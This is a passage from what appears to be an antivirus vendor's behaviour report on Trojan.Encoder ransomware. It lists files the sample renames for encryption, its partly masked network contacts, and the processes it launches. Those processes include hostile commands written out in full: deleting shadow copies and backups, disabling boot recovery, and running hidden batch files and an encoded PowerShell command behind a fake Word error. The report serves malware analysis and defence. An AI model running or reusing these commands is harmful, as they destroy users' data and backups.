from %ProgramFiles%\aswregsvr\aswregsvr.exe to %ProgramFiles%\aswregsvr\aswregsvr.exe.c2b-660-5a7
from %ProgramFiles%\aswupdsv\aswupdsv.exe to %ProgramFiles%\aswupdsv\aswupdsv.exe.c2b-660-5a7
from %ProgramFiles%\autodown\autodown.exe to %ProgramFiles%\autodown\autodown.exe.c2b-660-5a7
from %ProgramFiles%\autostartexplorer\autostartexplorer.exe to %ProgramFiles%\autostartexplorer\autostartexplorer.exe.c2b-660-5a7
from %ProgramFiles%\backweb-4476822\backweb-4476822.exe to %ProgramFiles%\backweb-4476822\backweb-4476822.exe.c2b-660-5a7
from %ProgramFiles%\avgemc\avgemc.exe to %ProgramFiles%\avgemc\avgemc.exe.c2b-660-5a7
from %ProgramFiles%\avcenter\avcenter.exe to %ProgramFiles%\avcenter\avcenter.exe.c2b-660-5a7
from %ProgramFiles%\avciman\avciman.exe to %ProgramFiles%\avciman\avciman.exe.c2b-660-5a7
from %ProgramFiles%\avcmd\avcmd.exe to %ProgramFiles%\avcmd\avcmd.exe.c2b-660-5a7
from %ProgramFiles%\avconfig\avconfig.exe to %ProgramFiles%\avconfig\avconfig.exe.c2b-660-5a7
from %ProgramFiles%\avconsol\avconsol.exe to %ProgramFiles%\avconsol\avconsol.exe.c2b-660-5a7
from %ProgramFiles%\avgamsvr\avgamsvr.exe to %ProgramFiles%\avgamsvr\avgamsvr.exe.c2b-660-5a7
from %ProgramFiles%\avgcc\avgcc.exe to %ProgramFiles%\avgcc\avgcc.exe.c2b-660-5a7
from %ProgramFiles%\avgdiag\avgdiag.exe to %ProgramFiles%\avgdiag\avgdiag.exe.c2b-660-5a7
from %ProgramFiles%\avgfwsrv\avgfwsrv.exe to %ProgramFiles%\avgfwsrv\avgfwsrv.exe.c2b-660-5a7
from %ProgramFiles%\eudora\eudora.exe to %ProgramFiles%\eudora\eudora.exe.c2b-660-5a7

Modifies user data files (Trojan.Encoder).

Changes user data files extensions (Trojan.Encoder).

Network activity

TCP

HTTP GET requests

http://ge###tool.com/
http://ip###ger.org/1cyy87.jpg
http://cr#.#ectigo.com/SectigoRSADomainValidationSecureServerCA.crt
http://oc##.#ectigo.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRDC9IOTxN6GmyRjyTl2n4yTUczyAQUjYxexFStiuF36Zv5mwXhuAGNYeECEGmjTouN%2FW5s3CDseaiw7qE%3D

'ed#####onmillion.com':443

'ge###tool.com':443

'ip###ger.org':443

UDP

DNS ASK ed#####onmillion.com
DNS ASK ge###tool.com
DNS ASK ge###tatool.com
DNS ASK ip###ger.org
DNS ASK cr#.#ectigo.com
DNS ASK oc##.#ectigo.com

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Creates and executes the following

'%HOMEPATH%\woi1sao\mf3ogh_\bw99ofg.exe'
'%APPDATA%\microsoft\windows\taskeng.exe' -agent 0
'%APPDATA%\microsoft\windows\taskeng.exe' -agent 1
'%APPDATA%\microsoft\windows\taskeng.exe' -start
'C:\ssd\onset\mesager43.exe' /start
'%APPDATA%\microsoft\windows\taskeng.exe' -agent 2
'%WINDIR%\syswow64\wscript.exe' "C:\ssd\onset\Ztestram.vbs"
'C:\ssd\onset\15sp.exe' e -psion0811 01s.rar
'%WINDIR%\syswow64\wscript.exe' "C:\ssd\onset\goodram.vbs"
'%WINDIR%\syswow64\cmd.exe' /C %TEMP%\~temp001.bat' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""C:\ssd\onset\sata1.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""C:\ssd\onset\81ldp.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} recoveryenabled no' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C wbadmin delete catalog -quiet' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C wmic shadowcopy delete' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkADQANwB6AHUAMwAgACAAPQAgACAAWwB0AHkAUABFAF0AKAAiAHsAMgB9AH...
'<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
'%WINDIR%\syswow64\cmd.exe' /c ""C:\ssd\onset\81ldp.bat" "
'%WINDIR%\syswow64\timeout.exe' 5
'%WINDIR%\syswow64\timeout.exe' 4
'%WINDIR%\syswow64\cmd.exe' /c ""C:\ssd\onset\sata1.bat" "
'%WINDIR%\syswow64\attrib.exe' +s +h "C:\ssd\"
'%WINDIR%\syswow64\timeout.exe' 2
'%WINDIR%\syswow64\notepad.exe'
'%WINDIR%\syswow64\attrib.exe' -s -h "C:\ssd\onset\mesager43.exe"
'%WINDIR%\syswow64\cmd.exe' /C wmic shadowcopy delete
'%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} recoveryenabled no
'%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
'%WINDIR%\syswow64\cmd.exe' /C wbadmin delete catalog -quiet
'%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet
'%WINDIR%\syswow64\cmd.exe' /C %TEMP%\~temp001.bat

Tecnologías

Términos

Formación y educación

Mitos

Technical Information

Curing recommendations

Free trial